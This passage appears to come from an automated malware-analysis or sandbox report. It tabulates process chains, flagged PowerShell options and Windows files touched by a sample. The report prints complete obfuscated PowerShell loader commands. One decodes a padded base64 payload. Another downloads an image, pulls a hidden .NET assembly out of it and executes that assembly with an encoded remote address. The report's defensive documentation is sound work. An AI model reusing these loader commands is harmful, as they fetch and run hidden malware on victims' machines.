jZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUdvAbfwTjZQSeUB5vAbfwTjZQSeUHvAbfwTjZQSeUvAbfwTjZQSeUZQvAbfwTjZQSeUuvAbfwTjZQSeUEcvAbfwTjZQSeUZQB0vAbfwTjZQSeUE0vAbfwTjZQSeUZQB0vAbfwTjZQSeUGgvAbfwTjZQSeUbwBkvAbfwTjZQSeUCgvAbfwTjZQSeUJwBWvAbfwTjZQSeUEEvAbfwTjZQSeUSQvAbfwTjZQSeUnvAbfwTjZQSeUCkvAbfwTjZQSeULgBJvAbfwTjZQSeUG4vAbfwTjZQSeUdgBvvAbfwTjZQSeUGsvAbfwTjZQSeUZQvAbfwTjZQSeUovAbfwTjZQSeUCQvAbfwTjZQSeUbgB1vAbfwTjZQSeUGwvAbfwTjZQSeUbvAbfwTjZQSeUvAbfwTjZQSeUsvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUWwBvvAbfwTjZQSeUGIvAbfwTjZQSeUagBlvAbfwTjZQSeUGMvAbfwTjZQSeUdvAbfwTjZQSeUBbvAbfwTjZQSeUF0vAbfwTjZQSeUXQvAbfwTjZQSeUgvAbfwTjZQSeUCgvAbfwTjZQSeUJwBkvAbfwTjZQSeUEgvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeUwvAbfwTjZQSeUEwvAbfwTjZQSeUbQBkvAbfwTjZQSeUHYvAbfwTjZQSeUWgBXvAbfwTjZQSeUFYvAbfwTjZQSeUbgBivAbfwTjZQSeUG0vAbfwTjZQSeUcwB2vAbfwTjZQSeUE0vAbfwTjZQSeUVvAbfwTjZQSeUBVvAbfwTjZQSeUHUvAbfwTjZQSeUTQB6vAbfwTjZQSeUE0vAbfwTjZQSeUdQBNvAbfwTjZQSeUGovAbfwTjZQSeUUQB1vAbfwTjZQSeUE0vAbfwTjZQSeUegBrvAbfwTjZQSeUHgvAbfwTjZQSeUTvAbfwTjZQSeUB5vAbfwTjZQSeUDgvAbfwTjZQSeUNgBjvAbfwTjZQSeUEgvAbfwTjZQSeUUgvAbfwTjZQSeUwvAbfwTjZQSeUGEvAbfwTjZQSeUQQvAbfwTjZQSeU9vAbfwTjZQSeUD0vAbfwTjZQSeUJwvAbfwTjZQSeUgvAbfwTjZQSeUCwvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUnvAbfwTjZQSeUGQvAbfwTjZQSeUZgBkvAbfwTjZQSeUGYvAbfwTjZQSeUZvAbfwTjZQSeUvAbfwTjZQSeUnvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeULvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCcvAbfwTjZQSeUZvAbfwTjZQSeUBmvAbfwTjZQSeUGQvAbfwTjZQSeUZgvAbfwTjZQSeUnvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeULvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCcvAbfwTjZQSeUZvAbfwTjZQSeUBmvAbfwTjZQSeUGQvAbfwTjZQSeUZgvAbfwTjZQSeUnvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeULvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCcvAbfwTjZQSeUZvAbfwTjZQSeUBhvAbfwTjZQSeUGQvAbfwTjZQSeUcwBhvAbfwTjZQSeUCcvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUsvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJwBkvAbfwTjZQSeUGUvAbfwTjZQSeUJwvAbfwTjZQSeUgvAbfwTjZQSeUCwvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUnvAbfwTjZQSeUGMvAbfwTjZQSeUdQvAbfwTjZQSeUnvAbfwTjZQSeUCkvAbfwTjZQSeUKQvAbfwTjZQSeU=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" | ||||||
parent_process | wscript.exe | martian_process | powershell -command "$Codigo = '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ZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUGcvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCsvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeULgBMvAbfwTjZQSeUGUvAbfwTjZQSeUbgBnvAbfwTjZQSeUHQvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUYgBhvAbfwTjZQSeUHMvAbfwTjZQSeUZQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUTvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZwB0vAbfwTjZQSeUGgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUCvAbfwTjZ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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" | ||||||
parent_process | powershell.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))" |
option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
option | -noprofile | value | Does not load current user profile | ||||||
option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
option | -noprofile | value | Does not load current user profile | ||||||
option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
option | -noprofile | value | Does not load current user profile | ||||||
option | -windowstyle hidden | value | Attempts to execute command with a hidden window |
file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
file | C:\Windows\System32\ie4uinit.exe |
file | C:\Program Files\Windows Sidebar\sidebar.exe |
file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
file | C:\Windows\System32\xpsrchvw.exe |
file | C:\Windows\System32\displayswitch.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
file | C:\Windows\System32\mblctr.exe |
file | C:\Windows\System32\mstsc.exe |
file | C:\Windows\System32\SnippingTool.exe |
file | C:\Windows\System32\SoundRecorder.exe |
file | C:\Windows\System32\dfrgui.exe |
file | C:\Windows\System32\msinfo32.exe |
file | C:\Windows\System32\rstrui.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
file | C:\Program Files\Windows Journal\Journal.exe |
file | C:\Windows\System32\MdSched.exe |
file | C:\Windows\System32\msconfig.exe |
file | C:\Windows\System32\recdisc.exe |
file | C:\Windows\System32\msra.exe |